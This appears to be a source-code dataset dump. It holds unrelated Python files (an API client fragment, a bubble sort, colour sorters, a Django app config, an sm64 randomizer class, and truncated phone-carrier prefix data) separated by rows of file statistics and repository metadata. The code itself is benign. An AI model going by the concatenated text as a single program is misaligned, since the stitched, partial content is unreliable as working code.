data = {k: v for k, v in kwargs.items() if v is not None}
return self.__put('{}/customers/{}'.format(source_id, customer_oid), data)
def create_customer(self, source_id, **kwargs):
data = {k: v for k, v in kwargs.items() if v is not None}
return self.__post('{}/customers'.format(source_id), data)
def delete_customer(self, source_id, oid):
return self.__delete('{}/customers/{}'.format(source_id, oid))
# subscriptions
def list_subscriptions(self, source_id, customer_oid=None, **kwargs):
url = '{}/subscriptions'.format(source_id)
if customer_oid:
url = '{}?customer_oid={}'.format(url, customer_oid)
url = self.__join_link_with_params(url, **kwargs)
return self.__get(url)
def show_subscription(self, source_id, oid):
return self.__get('{}/subscriptions/{}'.format(source_id, oid))
def update_subscription(self, source_id, subscription_oid, plan_oid, **kwargs):
data = {k: v for k, v in kwargs.items() if v is not None}
data.update({
'plan_oid': plan_oid
})
return self.__put(
'{}/subscriptions/{}'.format(source_id, subscription_oid),
data)
def cancel_subscription(self, source_id, subscription_oid, canceled_at):
return self.__put(
'{}/subscriptions/{}/cancel'.format(source_id, subscription_oid),
data={'canceled_at': canceled_at})
def create_subscription(self, source_id, **kwargs):
data = {k: v for k, v in kwargs.items() if v is not None}
return self.__post('{}/subscriptions'.format(source_id), data)
def delete_subscription(self, source_id, subscription_oid, **kwargs):
url = '{}/subscriptions/{}'.format(source_id, subscription_oid)
url = self.__join_link_with_params(url, **kwargs)
return self.__delete(url)
# annotations
def list_annotations(self):
return self.__get('annotations')
def show_annotation(self, annotation_id):
return self.__get('annotations/{}'.format(annotation_id))
def create_annotation(self, **kwargs):
data = {k: v for k, v in kwargs.items() if v is not None}
return self.__post('annotations', data)
def delete_annotation(self, annotation_id):
return self.__delete('annotations/{}'.format(annotation_id))
# goals
def list_goals(self):
raise APICallNotImplemented
def show_goal(self):
raise APICallNotImplemented
def create_goal(self):
raise APICallNotImplemented
def delete_goal(self):
raise APICallNotImplemented
# users
def list_users(self):
return self.__get('users')
def show_user(self, oid):
return self.__get_url('users/{}'.format(oid))
# charges
def list_charges(self, source_id, **kwargs):
url = '{}/charges'.format(source_id)
url = self.__join_link_with_params(url, **kwargs)
return self.__get(url)
def show_charge(self, source_id, oid):
return self.__get('{}/charges/{}'.format(source_id, oid))
def create_charge(self, source_id, **kwargs):
data = {k: v for k, v in kwargs.items() if v is not None}
return self.__post('{}/charges'.format(source_id), data)
def delete_charge(self, source_id, oid):
return self.__delete('{}/charges/{}'.format(source_id, oid))
# events
def list_events(self, source_id):
return self.__get('{}/events'.format(source_id))
def show_event(self, source_id, oid):
return self.__get('{}/events/{}'.format(source_id, oid))
# metrics
def show_summary(self):
raise APICallNotImplemented
def show_metric(self):
raise APICallNotImplemented
def show_customers(self):
raise APICallNotImplemented
def show_plan_breakout(self):
raise APICallNotImplemented
| 29.649485 | 92 | 0.54016 | 1,207 | 11,504 | 4.886495 | 0.135874 | 0.074602 | 0.046796 | 0.025432 | 0.564598 | 0.47762 | 0.37979 | 0.313157 | 0.30061 | 0.30061 | 0 | 0.007515 | 0.329103 | 11,504 | 387 | 93 | 29.726098 | 0.756673 | 0.210796 | 0 | 0.271186 | 0 | 0 | 0.085293 | 0.005942 | 0 | 0 | 0 | 0 | 0 | 1 | 0.265537 | false | 0 | 0.039548 | 0.101695 | 0.525424 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
9c10e42c65347cab6eaf735f50bd5a2ecb190acd | 351 | py | Python | sorting/BubbleSort.py | vipulSharma18/RandomScripts | 22635756303ff474003c96e3b491b43d920f45a2 | [
"MIT"
] | 4 | 2018-10-13T00:30:25.000Z | 2020-04-23T18:06:50.000Z | sorting/BubbleSort.py | vipulSharma18/RandomScripts | 22635756303ff474003c96e3b491b43d920f45a2 | [
"MIT"
] | 14 | 2018-10-13T00:05:23.000Z | 2020-10-02T20:07:09.000Z | sorting/BubbleSort.py | vipulSharma18/RandomScripts | 22635756303ff474003c96e3b491b43d920f45a2 | [
"MIT"
] | 30 | 2018-10-13T00:18:26.000Z | 2019-12-03T13:32:44.000Z |
# coding: utf-8
# In[43]:
alist = [54,26,93,17,77,31,44,55,20]
def bubbleSort(alist):
for passnum in range(len(alist)-1,0,-1):
for i in range(passnum):
if alist[i]>alist[i+1]:
temp = alist[i]
alist[i] = alist[i+1]
alist[i+1] = temp
return alist
print(bubbleSort(alist))
| 19.5 | 44 | 0.51567 | 55 | 351 | 3.290909 | 0.509091 | 0.198895 | 0.18232 | 0.198895 | 0.143646 | 0 | 0 | 0 | 0 | 0 | 0 | 0.113445 | 0.321937 | 351 | 17 | 45 | 20.647059 | 0.647059 | 0.059829 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0.2 | 0 | 0 | 0.2 | 0.1 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
9c30cfb6afd9de0838a6615a1d6c57a347a17885 | 1,146 | py | Python | canvas/tools/sorters.py | SilicalNZ/canvas | 44d1eee02c334aae6b41aeba01ed0ecdf83aed21 | [
"MIT"
] | 7 | 2019-08-04T20:37:55.000Z | 2020-03-05T08:36:10.000Z | canvas/tools/sorters.py | SilicalNZ/canvas | 44d1eee02c334aae6b41aeba01ed0ecdf83aed21 | [
"MIT"
] | 1 | 2019-10-21T05:43:28.000Z | 2019-10-21T05:43:28.000Z | canvas/tools/sorters.py | SilicalNZ/canvas | 44d1eee02c334aae6b41aeba01ed0ecdf83aed21 | [
"MIT"
] | null | null | null | import colorsys as _coloursys
from functools import wraps, partial
import math
import random
_round = round
def _make_sorted(func):
@wraps(func)
def wrapper(iterable, *args, **kwargs):
return sorted(iterable, key=partial(func, *args, **kwargs))
return wrapper
@_make_sorted
def yiq(rgb):
return _coloursys.rgb_to_yiq(*rgb)
def __hsv(rgb):
return _coloursys.rgb_to_hsv(*rgb)
hsv = _make_sorted(__hsv)
@_make_sorted
def hls(rgb):
return _coloursys.rgb_to_hls(*rgb)
def __step_sort(rgb, repetitions=8):
r, g, b = rgb
lum = math.sqrt(.241 * r + .691 * g + .068 * b)
h, s, v = __hsv(rgb)
h2 = int(h * repetitions)
lum2 = int(lum * repetitions)
v2 = int(v * repetitions)
return h2, lum, v2
step_sort = _make_sorted(__step_sort)
@_make_sorted
def gradient_step_sort(rgb, repetitions=8):
h2, lum, v2 = __step_sort(rgb, repetitions)
if h2 % 2 == 1:
v2 = repetitions - v2
lum = repetitions - lum
return h2, lum, v2
@_make_sorted
def round(rgb):
return tuple(map(int, rgb))
def shuffle(iterable):
random.shuffle(iterable)
return iterable | 18.786885 | 67 | 0.662304 | 165 | 1,146 | 4.339394 | 0.315152 | 0.097765 | 0.072626 | 0.087989 | 0.202514 | 0 | 0 | 0 | 0 | 0 | 0 | 0.028058 | 0.222513 | 1,146 | 61 | 68 | 18.786885 | 0.775533 | 0 | 0 | 0.146341 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.219512 | false | 0 | 0.097561 | 0.121951 | 0.536585 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
9c3172b877f8f87e40fc3f18b9954cc380c92ea4 | 287 | py | Python | galleryfield/apps.py | dzhuang/django-galleryfield | 12bdbd2ee4d036e92e4dd15130b98fbcd25c5991 | [
"MIT"
] | 9 | 2021-08-23T15:49:59.000Z | 2022-03-30T10:18:39.000Z | galleryfield/apps.py | dzhuang/django-galleryfield | 12bdbd2ee4d036e92e4dd15130b98fbcd25c5991 | [
"MIT"
] | 1 | 2021-08-10T19:53:33.000Z | 2021-08-10T19:53:33.000Z | galleryfield/apps.py | dzhuang/django-gallery-widget | 12bdbd2ee4d036e92e4dd15130b98fbcd25c5991 | [
"MIT"
] | 2 | 2021-08-22T11:30:46.000Z | 2021-12-01T00:22:21.000Z | from django.apps import AppConfig
class GalleryConfig(AppConfig):
default_auto_field = 'django.db.models.BigAutoField'
name = 'galleryfield'
def ready(self):
from .checks import register_galleryfield_settings_checks
register_galleryfield_settings_checks()
| 26.090909 | 65 | 0.759582 | 31 | 287 | 6.774194 | 0.677419 | 0.190476 | 0.266667 | 0.32381 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.174216 | 287 | 10 | 66 | 28.7 | 0.886076 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 0.101045 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.285714 | 0 | 0.857143 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
9c423546285091a0dc4881d2d697dc6b6fb781a4 | 280 | py | Python | sm64r/Area.py | andrelikesdogs/sm64-randomizer | 8c8d2f3e3b9f6b69d3595d78669aa120056b6f98 | [
"MIT"
] | 49 | 2019-07-01T16:19:32.000Z | 2022-03-28T16:15:36.000Z | sm64r/Area.py | andrelikesdogs/sm64-randomizer | 8c8d2f3e3b9f6b69d3595d78669aa120056b6f98 | [
"MIT"
] | 44 | 2019-10-19T18:19:56.000Z | 2022-03-25T22:53:20.000Z | sm64r/Area.py | andrelikesdogs/sm64-randomizer | 8c8d2f3e3b9f6b69d3595d78669aa120056b6f98 | [
"MIT"
] | 5 | 2020-03-13T22:56:56.000Z | 2021-12-05T03:37:30.000Z | from typing import Dict
class Area:
def __init__(self, area_id : int, name : str, properties : Dict):
self.id = area_id
self.name = name
self.properties = properties
def __str__(self):
return f'<Area {hex(self.id)}: {self.name}>: {repr(self.properties)}' | 28 | 73 | 0.657143 | 40 | 280 | 4.35 | 0.45 | 0.068966 | 0.114943 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.207143 | 280 | 10 | 73 | 28 | 0.783784 | 0 | 0 | 0 | 0 | 0.125 | 0.209964 | 0.081851 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.125 | 0.125 | 0.625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
9c4318e35181ededa3b58010711b8c7ac6c70164 | 327,655 | py | Python | oscar/lib/python2.7/site-packages/phonenumbers/carrierdata/data1.py | sainjusajan/django-oscar | 466e8edc807be689b0a28c9e525c8323cc48b8e1 | [
"BSD-3-Clause"
] | null | null | null | oscar/lib/python2.7/site-packages/phonenumbers/carrierdata/data1.py | sainjusajan/django-oscar | 466e8edc807be689b0a28c9e525c8323cc48b8e1 | [
"BSD-3-Clause"
] | null | null | null | oscar/lib/python2.7/site-packages/phonenumbers/carrierdata/data1.py | sainjusajan/django-oscar | 466e8edc807be689b0a28c9e525c8323cc48b8e1 | [
"BSD-3-Clause"
] | null | null | null | """Per-prefix data, mapping each prefix to a dict of locale:name.
Auto-generated file, do not edit by hand.
"""
from ..util import u
# Copyright (C) 2011-2017 The Libphonenumber Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
data = {
'559299933':{'en': 'Oi'},
'9173290':{'en': 'Aircel'},
'9173298':{'en': 'Aircel'},
'9173299':{'en': 'Aircel'},
'8536882':{'en': 'CTM'},
'8536399':{'en': '3'},
'8536398':{'en': '3'},
'556599929':{'en': 'Vivo'},
'556599928':{'en': 'Vivo'},
'556599927':{'en': 'Vivo'},
'556599926':{'en': 'Vivo'},
'556599925':{'en': 'Vivo'},
'556599924':{'en': 'Vivo'},
'556599923':{'en': 'Vivo'},
'556599922':{'en': 'Vivo'},
'556599921':{'en': 'Vivo'},
'8536392':{'en': 'CTM'},
'555499974':{'en': 'Vivo'},
'555499975':{'en': 'Vivo'},
'555499976':{'en': 'Vivo'},
'555499977':{'en': 'Vivo'},
'555499971':{'en': 'Vivo'},
'555499972':{'en': 'Vivo'},
'555499973':{'en': 'Vivo'},
'555499978':{'en': 'Vivo'},
'555499979':{'en': 'Vivo'},
'6799':{'en': 'Vodafone'},
'9173478':{'en': 'Idea'},
'9176119':{'en': 'Aircel'},
'9173476':{'en': 'Airtel'},
'9173477':{'en': 'Idea'},
'9173474':{'en': 'Airtel'},
'9173475':{'en': 'Airtel'},
'9173472':{'en': 'Airtel'},
'9173473':{'en': 'Airtel'},
'9173470':{'en': 'Airtel'},
'9176111':{'en': 'Idea'},
'556298176':{'en': 'TIM'},
'556298177':{'en': 'TIM'},
'556298174':{'en': 'TIM'},
'556298175':{'en': 'TIM'},
'556298172':{'en': 'TIM'},
'556298173':{'en': 'TIM'},
'556298171':{'en': 'TIM'},
'59069000':{'en': 'SFR/Rife'},
'59069007':{'en': 'Digicel'},
'59069006':{'en': 'Digicel'},
'556298178':{'en': 'TIM'},
'556298179':{'en': 'TIM'},
'557199928':{'en': 'Vivo'},
'62351977':{'en': 'Esia'},
'62351976':{'en': 'Esia'},
'62351975':{'en': 'Esia'},
'62351979':{'en': 'Esia'},
'62351978':{'en': 'Esia'},
'84122':{'en': 'MobiFone'},
'6243191':{'en': 'Esia'},
'84120':{'en': 'MobiFone'},
'84121':{'en': 'MobiFone'},
'84126':{'en': 'MobiFone'},
'84127':{'en': 'Vinaphone'},
'84124':{'en': 'Vinaphone'},
'84125':{'en': 'Vinaphone'},
'9175593':{'en': 'Airtel'},
'6243199':{'en': 'Esia'},
'84128':{'en': 'MobiFone'},
'84129':{'en': 'Vinaphone'},
'9175597':{'en': 'Idea'},
'917191':{'en': 'Airtel'},
'9175595':{'en': 'Idea'},
'9175594':{'en': 'Airtel'},
'917889':{'en': 'Reliance Jio'},
'556899933':{'en': 'Vivo'},
'556899932':{'en': 'Vivo'},
'556899931':{'en': 'Vivo'},
'556899937':{'en': 'Vivo'},
'556899936':{'en': 'Vivo'},
'556899935':{'en': 'Vivo'},
'556899934':{'en': 'Vivo'},
'556899939':{'en': 'Vivo'},
'556899938':{'en': 'Vivo'},
'9179799':{'en': 'Reliance Jio'},
'9179798':{'en': 'Reliance Jio'},
'918078':{'en': 'CellOne'},
'9179790':{'en': 'Reliance Jio'},
'9179797':{'en': 'Reliance Jio'},
'62818':{'en': 'XL'},
'62819':{'en': 'XL'},
'9181510':{'en': 'Idea'},
'62814':{'en': 'IM3'},
'55829810':{'en': 'Vivo'},
'55829811':{'en': 'Vivo'},
'55829812':{'en': 'Vivo'},
'55829813':{'en': 'Vivo'},
'9177939':{'en': 'Telewings'},
'559998149':{'en': 'TIM'},
'559998148':{'en': 'TIM'},
'62887':{'en': 'Smartfren'},
'9177938':{'en': 'Aircel'},
'62881':{'en': 'Smartfren'},
'62883':{'en': 'Smartfren'},
'62882':{'en': 'Smartfren'},
'559998141':{'en': 'TIM'},
'559998143':{'en': 'TIM'},
'559998142':{'en': 'TIM'},
'559998145':{'en': 'TIM'},
'559998144':{'en': 'TIM'},
'559998147':{'en': 'TIM'},
'559998146':{'en': 'TIM'},
'9177930':{'en': 'Aircel'},
'9172299':{'en': 'Vodafone'},
'555398121':{'en': 'TIM'},
'558699514':{'en': 'Claro BR'},
'555398123':{'en': 'TIM'},
'555398122':{'en': 'TIM'},
'555398125':{'en': 'TIM'},
'555398124':{'en': 'TIM'},
'555398127':{'en': 'TIM'},
'555398126':{'en': 'TIM'},
'555398129':{'en': 'TIM'},
'555398128':{'en': 'TIM'},
'9174870':{'en': 'Airtel'},
'9174948':{'en': 'Tata Docomo'},
'918354':{'en': 'Telewings'},
'556398128':{'en': 'TIM'},
'556398129':{'en': 'TIM'},
'918350':{'en': 'Idea'},
'918351':{'en': 'Idea'},
'918352':{'en': 'Idea'},
'556398122':{'en': 'TIM'},
'556398123':{'en': 'TIM'},
'556398121':{'en': 'TIM'},
'556398126':{'en': 'TIM'},
'556398127':{'en': 'TIM'},
'556398124':{'en': 'TIM'},
'556398125':{'en': 'TIM'},
'6227192':{'en': 'Esia'},
'917795':{'en': 'Tata Docomo'},
'917519':{'en': 'Dishnet'},
'917797':{'en': 'Vodafone'},
'9174638':{'en': 'Airtel'},
'917799':{'en': 'Vodafone'},
'9174248':{'en': 'Hexacom'},
'9174940':{'en': 'Idea'},
'9174249':{'en': 'Hexacom'},
'9175838':{'en': 'Vodafone'},
'9175839':{'en': 'Airtel'},
'9175830':{'en': 'Vodafone'},
'9182328':{'en': 'Reliance'},
'9182329':{'en': 'Reliance'},
'8536395':{'en': 'CTM'},
'9173660':{'en': 'Airtel'},
'557498131':{'en': 'Claro BR'},
'557498130':{'en': 'Claro BR'},
'8536394':{'en': 'CTM'},
'9173669':{'en': 'Airtel'},
'9173668':{'en': 'Airtel'},
'8536397':{'en': 'CTM'},
'8536396':{'en': 'CTM'},
'556299999':{'en': 'Vivo'},
'8536391':{'en': 'China Telecom'},
'8536390':{'en': 'China Telecom'},
'9173270':{'en': 'Airtel'},
'8536393':{'en': 'CTM'},
'556999998':{'en': 'Vivo'},
'556999999':{'en': 'Vivo'},
'556999996':{'en': 'Vivo'},
'556999997':{'en': 'Vivo'},
'556999994':{'en': 'Vivo'},
'556999995':{'en': 'Vivo'},
'556999992':{'en': 'Vivo'},
'556999993':{'en': 'Vivo'},
'556999991':{'en': 'Vivo'},
'6277799':{'en': 'Esia'},
'6797':{'en': 'Digicel'},
'60158850':{'en': 'IP Mobility'},
'559999955':{'en': 'Oi'},
'559999954':{'en': 'Oi'},
'559999951':{'en': 'Oi'},
'559999953':{'en': 'Oi'},
'559999952':{'en': 'Oi'},
'918338':{'en': 'Vodafone'},
'559199281':{'en': 'Vivo'},
'559199280':{'en': 'Vivo'},
'559199283':{'en': 'Vivo'},
'559199282':{'en': 'Vivo'},
'559199285':{'en': 'Vivo'},
'559199284':{'en': 'Vivo'},
'559199286':{'en': 'Vivo'},
'556598409':{'en': 'Brasil Telecom GSM'},
'556598408':{'en': 'Brasil Telecom GSM'},
'9176560':{'en': 'CellOne'},
'556598403':{'en': 'Brasil Telecom GSM'},
'556598402':{'en': 'Brasil Telecom GSM'},
'556598401':{'en': 'Brasil Telecom GSM'},
'918339':{'en': 'Vodafone'},
'556598407':{'en': 'Brasil Telecom GSM'},
'556598406':{'en': 'Brasil Telecom GSM'},
'556598405':{'en': 'Brasil Telecom GSM'},
'556598404':{'en': 'Brasil Telecom GSM'},
'852638':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'852639':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852637':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852634':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852635':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852632':{'en': 'SmarTone', 'zh': u('\u6570\u7801\u901a'), 'zh_Hant': u('\u6578\u78bc\u901a')},
'852633':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852630':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'852631':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'9177740':{'en': 'Idea'},
'9177748':{'en': 'Idea'},
'9177749':{'en': 'Idea'},
'9175458':{'en': 'Vodafone'},
'9175459':{'en': 'Vodafone'},
'9176118':{'en': 'Aircel'},
'9175450':{'en': 'Vodafone'},
'852988':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'9176116':{'en': 'Aircel'},
'918267':{'en': 'Tata Docomo'},
'9176117':{'en': 'Aircel'},
'852980':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'852981':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852982':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852983':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852984':{'en': 'SmarTone', 'zh': u('\u6570\u7801\u901a'), 'zh_Hant': u('\u6578\u78bc\u901a')},
'852985':{'en': 'SmarTone', 'zh': u('\u6570\u7801\u901a'), 'zh_Hant': u('\u6578\u78bc\u901a')},
'852986':{'en': 'SmarTone', 'zh': u('\u6570\u7801\u901a'), 'zh_Hant': u('\u6578\u78bc\u901a')},
'852987':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'5939791':{'en': 'Movistar'},
'5939790':{'en': 'Movistar'},
'5939793':{'en': 'Movistar'},
'5939792':{'en': 'Movistar'},
'5939795':{'en': 'Claro'},
'5939794':{'en': 'Claro'},
'5939797':{'en': 'Claro'},
'5939796':{'en': 'Claro'},
'5939799':{'en': 'Claro'},
'5939798':{'en': 'Claro'},
'918263':{'en': 'Reliance'},
'9176113':{'en': 'Aircel'},
'6234197':{'en': 'Esia'},
'9176110':{'en': 'Aircel'},
'63909':{'en': 'Smart'},
'63908':{'en': 'Smart'},
'63907':{'en': 'Smart'},
'63906':{'en': 'Globe'},
'63905':{'en': 'Globe'},
'6234198':{'en': 'Esia'},
'6234199':{'en': 'Esia'},
'59069009':{'en': 'Digicel'},
'59069008':{'en': 'Digicel'},
'9175449':{'en': 'Vodafone'},
'9175448':{'en': 'Vodafone'},
'658866':{'en': 'M1'},
'8536560':{'en': 'China Telecom'},
'8536561':{'en': 'China Telecom'},
'556698118':{'en': 'TIM'},
'556698119':{'en': 'TIM'},
'556698114':{'en': 'TIM'},
'556698115':{'en': 'TIM'},
'556698116':{'en': 'TIM'},
'556698117':{'en': 'TIM'},
'556698111':{'en': 'TIM'},
'556698112':{'en': 'TIM'},
'556698113':{'en': 'TIM'},
'556299941':{'en': 'Vivo'},
'556299942':{'en': 'Vivo'},
'556299943':{'en': 'Vivo'},
'556299944':{'en': 'Vivo'},
'556299945':{'en': 'Vivo'},
'556299946':{'en': 'Vivo'},
'556299947':{'en': 'Vivo'},
'556299948':{'en': 'Vivo'},
'556299949':{'en': 'Vivo'},
'55959840':{'en': 'Claro BR'},
'558599666':{'en': 'TIM'},
'558599667':{'en': 'TIM'},
'558599664':{'en': 'TIM'},
'558599665':{'en': 'TIM'},
'558599662':{'en': 'TIM'},
'558599663':{'en': 'TIM'},
'558599661':{'en': 'TIM'},
'558599668':{'en': 'TIM'},
'558599669':{'en': 'TIM'},
'59069005':{'en': 'SFR/Rife'},
'6227599':{'en': 'Esia'},
'9181000':{'en': 'Reliance'},
'9176518':{'en': 'CellOne'},
'62260923':{'en': 'Esia'},
'62260922':{'en': 'Esia'},
'62260921':{'en': 'Esia'},
'62260920':{'en': 'Esia'},
'62260924':{'en': 'Esia'},
'918160':{'en': 'Reliance Jio'},
'559199919':{'en': 'Oi'},
'559199918':{'en': 'Oi'},
'658391':{'en': 'StarHub'},
'658390':{'en': 'StarHub'},
'559199913':{'en': 'Oi'},
'559199912':{'en': 'Oi'},
'559199915':{'en': 'Oi'},
'559199914':{'en': 'Oi'},
'559199917':{'en': 'Oi'},
'559199916':{'en': 'Oi'},
'9181260':{'en': 'Airtel'},
'556199808':{'en': 'Vivo'},
'559999179':{'en': 'Vivo'},
'559999178':{'en': 'Vivo'},
'556498138':{'en': 'TIM'},
'556498139':{'en': 'TIM'},
'556498134':{'en': 'TIM'},
'556498135':{'en': 'TIM'},
'559999171':{'en': 'Vivo'},
'556498137':{'en': 'TIM'},
'559999177':{'en': 'Vivo'},
'556498131':{'en': 'TIM'},
'559999175':{'en': 'Vivo'},
'556498133':{'en': 'TIM'},
'658643':{'en': 'M1'},
'658642':{'en': 'M1'},
'658641':{'en': 'M1'},
'658640':{'en': 'SingTel'},
'658647':{'en': 'SingTel'},
'658646':{'en': 'SingTel'},
'658645':{'en': 'M1'},
'658644':{'en': 'M1'},
'556199809':{'en': 'Vivo'},
'658648':{'en': 'SingTel'},
'557199258':{'en': 'TIM'},
'557199259':{'en': 'TIM'},
'557199254':{'en': 'TIM'},
'557199255':{'en': 'TIM'},
'557199256':{'en': 'TIM'},
'557199257':{'en': 'TIM'},
'557199251':{'en': 'TIM'},
'557199252':{'en': 'TIM'},
'557199253':{'en': 'TIM'},
'557499121':{'en': 'TIM'},
'67371':{'en': 'DSTCom'},
'9182700':{'en': 'Telewings'},
'917639':{'en': 'Vodafone'},
'9182701':{'en': 'Telewings'},
'917631':{'en': 'Vodafone'},
'9176099':{'en': 'Airtel'},
'6226392':{'en': 'Esia'},
'9176098':{'en': 'Airtel'},
'9175339':{'en': 'Idea'},
'9175338':{'en': 'Idea'},
'9182704':{'en': 'Telewings'},
'9175330':{'en': 'Aircel'},
'556798454':{'en': 'Brasil Telecom GSM'},
'556798452':{'en': 'Brasil Telecom GSM'},
'558999985':{'en': 'TIM'},
'556798453':{'en': 'Brasil Telecom GSM'},
'555399999':{'en': 'Vivo'},
'555399998':{'en': 'Vivo'},
'555399993':{'en': 'Vivo'},
'555399992':{'en': 'Vivo'},
'555399991':{'en': 'Vivo'},
'556798451':{'en': 'Brasil Telecom GSM'},
'555399997':{'en': 'Vivo'},
'555399996':{'en': 'Vivo'},
'555399995':{'en': 'Vivo'},
'555399994':{'en': 'Vivo'},
'559299911':{'en': 'Oi'},
'559299912':{'en': 'Oi'},
'559299913':{'en': 'Oi'},
'917194':{'en': 'Airtel'},
'559599115':{'en': 'Vivo'},
'559599114':{'en': 'Vivo'},
'559599117':{'en': 'Vivo'},
'559599116':{'en': 'Vivo'},
'559599111':{'en': 'Vivo'},
'9173279':{'en': 'Airtel'},
'559599113':{'en': 'Vivo'},
'559599112':{'en': 'Vivo'},
'559599119':{'en': 'Vivo'},
'559599118':{'en': 'Vivo'},
'9174260':{'en': 'Hexacom'},
'9174268':{'en': 'Hexacom'},
'9174269':{'en': 'Hexacom'},
'556599945':{'en': 'Vivo'},
'556599944':{'en': 'Vivo'},
'556599947':{'en': 'Vivo'},
'556599946':{'en': 'Vivo'},
'556599941':{'en': 'Vivo'},
'556599943':{'en': 'Vivo'},
'556599942':{'en': 'Vivo'},
'556599949':{'en': 'Vivo'},
'556599948':{'en': 'Vivo'},
'9182178':{'en': 'Reliance Jio'},
'9181840':{'en': 'Sistema'},
'9182173':{'en': 'Reliance Jio'},
'9182172':{'en': 'Reliance Jio'},
'9182170':{'en': 'Reliance Jio'},
'9182177':{'en': 'Reliance Jio'},
'9182176':{'en': 'Reliance Jio'},
'9182175':{'en': 'Reliance Jio'},
'9182174':{'en': 'Reliance Jio'},
'9176178':{'en': 'Idea'},
'9176179':{'en': 'Idea'},
'9176170':{'en': 'Idea'},
'9173411':{'en': 'Airtel'},
'9176172':{'en': 'Idea'},
'9176173':{'en': 'Idea'},
'9176174':{'en': 'Vodafone'},
'658533':{'en': 'SingTel'},
'9176176':{'en': 'Vodafone'},
'9176177':{'en': 'Vodafone'},
'59069021':{'en': 'Digicel'},
'59069020':{'en': 'Digicel'},
'59069023':{'en': 'Digicel'},
'59069022':{'en': 'Dauphin Telecom'},
'59069025':{'en': 'Digicel'},
'59069024':{'en': 'Digicel'},
'59069027':{'en': 'Orange'},
'59069026':{'en': 'Orange'},
'59069029':{'en': 'Orange'},
'59069028':{'en': 'Orange'},
'555599946':{'en': 'Vivo'},
'555599947':{'en': 'Vivo'},
'555599944':{'en': 'Vivo'},
'555599945':{'en': 'Vivo'},
'555599942':{'en': 'Vivo'},
'555599943':{'en': 'Vivo'},
'555599941':{'en': 'Vivo'},
'555599948':{'en': 'Vivo'},
'555599949':{'en': 'Vivo'},
'558299995':{'en': 'TIM'},
'555498414':{'en': 'Brasil Telecom GSM'},
'558299997':{'en': 'TIM'},
'558299996':{'en': 'TIM'},
'558299991':{'en': 'TIM'},
'558299993':{'en': 'TIM'},
'558299992':{'en': 'TIM'},
'558299999':{'en': 'TIM'},
'558299998':{'en': 'TIM'},
'555498417':{'en': 'Brasil Telecom GSM'},
'555498411':{'en': 'Brasil Telecom GSM'},
'555498412':{'en': 'Brasil Telecom GSM'},
'84123':{'en': 'Vinaphone'},
'62331988':{'en': 'Esia'},
'555498413':{'en': 'Brasil Telecom GSM'},
